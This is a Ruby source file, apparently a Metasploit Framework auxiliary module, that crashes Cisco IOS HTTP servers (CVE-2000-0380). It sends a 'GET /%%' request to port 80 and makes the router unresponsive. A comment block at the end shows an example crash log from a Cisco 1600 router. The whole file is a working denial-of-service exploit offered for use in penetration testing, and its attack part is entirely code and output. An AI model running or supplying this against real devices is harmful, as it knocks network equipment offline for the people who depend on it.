87 lines
2.1 KiB
Ruby
87 lines
2.1 KiB
Ruby
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##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/projects/Framework/
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##
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require 'msf/core'
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module Msf
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class Auxiliary::Dos::Cisco::IOS_HTTP_PercentPercent < Msf::Auxiliary
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include Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Cisco IOS HTTP GET /%% request Denial of Service',
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'Description' => %q{
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This module triggers a Denial of Service condition in the Cisco IOS
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HTTP server. By sending a GET request for "/%%", the device becomes
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unresponsive. IOS 11.1 -> 12.1 are reportedly vulnerable. This module
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tested successfully against a Cisco 1600 Router IOS v11.2(18)P.
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},
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'Author' => [ 'Patrick Webster <patrick[at]aushack.com>' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'BID', '1154'],
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[ 'CVE', '2000-0380'],
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[ 'URL', 'http://www.cisco.com/warp/public/707/cisco-sa-20000514-ios-http-server.shtml'],
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[ 'OSVDB', '1302' ],
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],
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'DisclosureDate' => 'April 26 2000'))
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register_options(
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[
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Opt::RPORT(80),
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], self.class)
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end
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def run
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connect
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print_status("Sending HTTP DoS packet")
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sploit = "GET /%% HTTP/1.0"
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sock.put(sploit + "\r\n")
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disconnect
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end
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end
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end
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=begin
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Patrick Webster 20070915 Cisco 1600 Router IOS v11.2(18)P
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IOS info:
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IOS (tm) 1600 Software (C1600-Y-L), Version 11.2(18)P, RELEASE SOFTWARE (fc1)
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Copyright (c) 1986-1999 by cisco Systems, Inc.
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Compiled Mon 12-Apr-99 14:53 by ashah
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Example crash:
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%Software-forced reload
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Preparing to dump core...
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Router>
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*Mar 1 00:03:06.349: %SYS-2-WATCHDOG: Process aborted on watchdog timeout, Process = HTTP Server
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-Traceback= 80EE1BC 80F0EC0 80EC004 81C0832 81C0B2E 81C0C76 81C0D68 81C0E4E
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Queued messages:
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*** EXCEPTION ***
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software forced crash
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program counter = 0x80eaca6
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status register = 0x2700
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vbr at time of exception = 0x4000000
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=end
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